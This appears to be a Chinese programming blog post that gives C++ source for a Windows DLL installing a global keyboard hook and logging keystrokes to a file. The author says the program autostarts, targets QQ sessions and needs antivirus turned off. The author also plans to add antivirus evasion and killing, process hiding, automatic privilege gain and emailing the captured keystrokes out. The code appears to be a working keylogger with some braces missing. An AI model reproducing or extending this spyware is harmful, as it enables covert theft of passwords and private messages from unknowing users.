HOOK全局键盘钩子

/*******KeyHookLib.h文件*********/  
// 定义函数修饰宏,方便引用本DLL工程的导出函数 
#ifdef KEYHOOKLIB_EXPORTS 
#define KEYHOOKLIB_API __declspec(dllexport) 
#else 
#define KEYHOOKLIB_API __declspec(dllimport) 
#endif 
// 声明要导出的函数 
BOOL  KEYHOOKLIB_API WINAPI SetKeyHook( BOOL  bInstall, DWORD  dwThreadId = 0,  HWND  hWndCaller = NULL); 




/*******KeyHookLib.cpp文件********/  
#include <windows.h> 
#include <stdio.h> 
#define KEYHOOKLIB_EXPORTS 
#include "win32keyhook.h" 

// 共享数据段 
#pragma data_seg("YCIShared") 
HWND  g_hWndCaller = NULL;  // 保存主窗口句柄 
HHOOK  g_hHook = NULL;   // 保存钩子句柄 
#pragma data_seg() 

int  coutfile( LPARAM  lParam) 
{   FILE * fstream; 
    char  str[10]; 
    if (!(fstream=fopen( "c://key.txt" , "a+" ))) 
       return  0;     
   ::GetKeyNameText(lParam, str, 10); 
   fprintf(fstream, "%s" ,str); 
   fclose(fstream); 
    return  0; 

// 一个通过内存地址取得模块句柄的帮助函数 
HMODULE  WINAPI ModuleFromAddress( PVOID  pv) 

MEMORY_BASIC_INFORMATION mbi; 
if (::VirtualQuery(pv, &mbi,  sizeof (mbi)) != 0) 

   return  ( HMODULE )mbi.AllocationBase; 

else  

   return  NULL; 



// 键盘钩子函数 
LRESULT  CALLBACK KeyHookProc( int  nCode,  WPARAM  wParam,  LPARAM  lParam) 

         if (nCode < 0 || nCode == HC_NOREMOVE) 
   return  ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 

         if (lParam & 0x40000000)  // 消息重复就交给下一个hook链 

   return  ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 

     coutfile(lParam); 
      return  ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 

// 安装、卸载钩子的函数 
BOOL  WINAPI SetKeyHook( BOOL  bInstall,  DWORD  dwThreadId,  HWND  hWndCaller) 

BOOL  bOk; 
g_hWndCaller = hWndCaller; 

if (bInstall) 

  g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc, 
     ModuleFromAddress(KeyHookProc), dwThreadId); 
  bOk = (g_hHook != NULL); 

else  

  bOk = ::UnhookWindowsHookEx(g_hHook); 
  g_hHook = NULL; 


return  bOk; 


/*******win32keyhook.def***************/  
EXPORTS 
   SetKeyHook 
SECTIONS 
   YCIShared   Read Write Shared 

//实现:运行过后,记录文件在C:/KEY.TXT 
//功能:实现全局系统范围内键盘记录功能 
    简单的低级钩子做的应用实例,实现了开机自动启动功能,程序启动后在后台运行,等待本地QQ启动后,开启钩子,记录键盘输入的字符,并保存在D:盘目录下的指定名文档中。关闭QQ时,钩子自动卸载并结束进程。 但是由于是使用的键盘钩子,所以只能简单的抓取键盘所键入的内容,如果是汉字的话则无法显示。 由于使用了Hook技术,并对注册表进行了修改,使用前请关闭360等防火墙软件,并使用管理员模式运行。 一次执行后,之后再次开机时,该程序会自动启动。 程序尚有缺陷,如内存泄漏,究其原因是CString应用在多线程中导致,但至今未查到根源所在,希望大神指教,学生不胜感激! 也希望各位多提出宝贵意见,或对本程序进行开发改造。 个人暂时希望改造的几个方面: 1.首先是希望能够屏蔽掉360等防火墙的检查。更深层次的改造,希望能够主动杀死360等防火墙的进程。 2.其次是希望能够做成主辅进程相互监视的模式,主进程down掉后,辅进程自动能把主进程启动,辅助进程down掉后,主进程能把辅进程自动启动。 3.其次是希望能够做成真正的隐藏进程的风格,就是能够在任务管理器中隐藏掉进程,其实可以做成服务,但是更希望能够以进程的形式存在。 4.然后很重要的是,希望能够做成自动获取管理员权限的类型,这个一直很想做,但是小菜我水平有限,暂时未对应。 5.希望对应网络开发,现在用钩子钩下来的文字,暂时只是保存在本地的一个txt文件中,希望最终实现把抓下来的内容发送到指定邮箱这样的功能。 暂时就先想到这么多吧,希望大家多多提出宝贵意见。 (最终声明:本程序只限用于研究学习开发技术,不得用于研究学习以外的任何目的) 作者:Benjamin Wang 2013-12-02
    评论 1
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值